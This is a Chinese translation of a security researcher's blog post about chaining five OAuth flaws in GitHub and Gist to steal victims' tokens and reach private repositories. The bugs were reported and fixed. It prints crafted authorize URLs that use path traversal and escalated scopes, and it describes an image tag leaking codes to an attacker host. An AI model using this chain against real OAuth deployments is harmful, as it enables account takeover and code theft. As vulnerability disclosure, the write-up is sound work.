摘要：編注為什么標(biāo)題是再次年，服務(wù)啟用新域名從換到之前有被跨域攻擊的危險(xiǎn)。這些漏洞都已經(jīng)私下報(bào)告并及時(shí)修復(fù)了。在協(xié)議中有保護(hù)機(jī)制防止泄露的重定向，每個(gè)參數(shù)都簽發(fā)給對(duì)應(yīng)的。這是一個(gè)嚴(yán)重的問(wèn)題，而且可以用來(lái)危害所有依賴用登陸功能的網(wǎng)站。

編注：為什么標(biāo)題是“再次”？2013年，GitHub Page服務(wù)啟用新域名（從 page.github.com 換到 github.io）之前有被跨域攻擊的危險(xiǎn)。Egor Homakov 寫(xiě)了一篇博文證實(shí)。

這篇文章是關(guān)于我將5個(gè)危險(xiǎn)性不高的漏洞組合起來(lái)，構(gòu)造一個(gè)簡(jiǎn)單卻高危漏洞的故事。利用這個(gè)漏洞，我可以進(jìn)入github上的用戶私有代碼倉(cāng)庫(kù)。這些漏洞都已經(jīng)私下報(bào)告并及時(shí)修復(fù)了。

下面是我的郵件時(shí)間線：

幾天前，GitHub正式推出了一個(gè)賞金計(jì)劃，這個(gè)計(jì)劃對(duì)我來(lái)說(shuō)是研究GitHub OAuth問(wèn)題的絕佳動(dòng)力。

我最先發(fā)現(xiàn)的是：

  
如果提供了的話，重定向URL的主機(jī)和端口必須嚴(yán)格匹配回調(diào)URL。重定向URL的路徑只能引用回調(diào)URL的一個(gè)子目錄。

然后，我嘗試用/../進(jìn)行路徑遍歷，我成功了。

僅有第一個(gè)漏洞沒(méi)有什么價(jià)值。在OAuth2協(xié)議中有保護(hù)機(jī)制防止‘泄露的’重定向URI，每個(gè)code參數(shù)都簽發(fā)給對(duì)應(yīng)的‘redirect_uri’。要獲得訪問(wèn)令牌必須提供你在認(rèn)證流程中使用的準(zhǔn)確的redirect_uri。

redirect_uri | string | 你的app中用戶認(rèn)證后返回給用戶的URL。查看更多細(xì)節(jié)點(diǎn)擊 redirect_urls.

不幸的是，我決定研究一下這個(gè)保護(hù)機(jī)制有沒(méi)有被正確實(shí)現(xiàn)。

它確實(shí)是有缺陷：不管客戶端發(fā)送什么重定向uri來(lái)獲得令牌，提供商都會(huì)回復(fù)一個(gè)有效的訪問(wèn)令牌。

要是沒(méi)有第一個(gè)漏洞，第二個(gè)漏洞也會(huì)要毫無(wú)價(jià)值。但是，它們卻組合成一個(gè)很強(qiáng)大的漏洞——攻擊者可以劫持一個(gè)簽發(fā)給泄露的重定向uri的授權(quán)令牌，然后把這個(gè)泄露的令牌用在真正的客戶端回調(diào)URl上，從而登陸受害者的賬戶。順便說(shuō)下，這和我在VK.com發(fā)現(xiàn)的漏洞一樣。

這是一個(gè)嚴(yán)重的問(wèn)題，而且可以用來(lái)危害所有依賴“用GitHub登陸”功能的網(wǎng)站。我打開(kāi)了應(yīng)用頁(yè)面來(lái)查看哪些網(wǎng)站應(yīng)該檢查一下。這個(gè)部分引起了我的注意：

Gist、Education、Pages和Speakerdeck（注：前三個(gè)是Github的頻道站，后面是旗下站點(diǎn)）都是官方預(yù)先認(rèn)可的OAuth客戶端。我沒(méi)有找到Pages和Education的client_id，Speakerdeck又超出了獎(jiǎng)金范圍（我在那里發(fā)現(xiàn)了賬戶劫持，并獲得了$100）。那么，我們還是在Gist上尋找重定向泄露的頁(yè)面吧。

基本上，泄露的Referers有兩個(gè)向量：用戶點(diǎn)擊一個(gè)鏈接（需要交互）或用戶代理載入一些跨站資源，比如
我不能簡(jiǎn)單的注入（img src=http://attackersite.com），因?yàn)檫@會(huì)替換成camo-proxy URL，這樣就不能把Referer頭傳遞到攻擊者的主機(jī)。為了能夠繞過(guò)Camo-s 過(guò)濾器，我用了一個(gè)小技巧：

你可以在開(kāi)放重定向漏洞進(jìn)展這篇文章中看到更多細(xì)節(jié)。

///host.com 被Ruby的URI庫(kù)解析成一個(gè)相對(duì)路徑URL，卻被Chrome和Firefox視為一個(gè)相對(duì)協(xié)議URL。下面是我們精心構(gòu)造的URL：

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code

當(dāng)用戶載入這個(gè)URL時(shí)，Github會(huì)自動(dòng)302 重定向自己。對(duì)應(yīng)地址：

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

但是用戶代理載入為：

https://gist.github.com/homakov/8820324?code=CODE

那么用戶代理會(huì)把發(fā)送請(qǐng)求的CODE泄露給我們的：

一旦我們獲得受害者的CODE，我們點(diǎn)擊 ：

https://gist.github.com/auth/github/callback?code=CODE

瞧，我們登陸進(jìn)了受害者的賬號(hào)，然后我們可以進(jìn)入私有的gists

我很想知道Gists是怎么把用戶會(huì)話和解碼的_gist_session存放在cookie（普通的Rails Base64編碼的cookie）里：

天啊，又一個(gè)OAuth的反面教材！客戶端絕不應(yīng)該暴露真正的訪問(wèn)令牌給用戶代理?，F(xiàn)在我們可以用這個(gè)github_token代表受害者賬戶來(lái)執(zhí)行API調(diào)用，并且不再需要Gist網(wǎng)站。我試著訪問(wèn)私人代碼庫(kù)：

該死的，令牌的范圍顯然僅僅是Gists……

我的漏洞利用的最后部分。由于Gist是一個(gè)預(yù)先授權(quán)的客戶端，我猜想Github也自動(dòng)認(rèn)證了Gist客戶端請(qǐng)求的其他范圍。我果然對(duì)了

我們現(xiàn)在要做的只是把構(gòu)造的URL載入到受害者的瀏覽器：

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications

用戶代理泄漏了受害者的CODE，攻擊者使用泄漏的CODE登陸進(jìn)受害者的Gist賬戶，解碼_gist_session來(lái)盜取github_token等等。

私人代碼庫(kù)，讀寫(xiě)權(quán)限等等——都秘密失竊，因?yàn)樗胓ithub_token是屬于Gist客戶端的。完美的犯罪，不是嗎？

$4000的獎(jiǎng)勵(lì)真是太豐厚了。有趣的是，對(duì)他們來(lái)說(shuō)購(gòu)買我4~5個(gè)小時(shí)$400的咨詢服務(wù)，只需要$1600，這會(huì)更便宜。重要的是也要有眾包安全。最好是兩者都用:)

原文：How I hacked Github again
轉(zhuǎn)載自：伯樂(lè)在線 - 50infivedays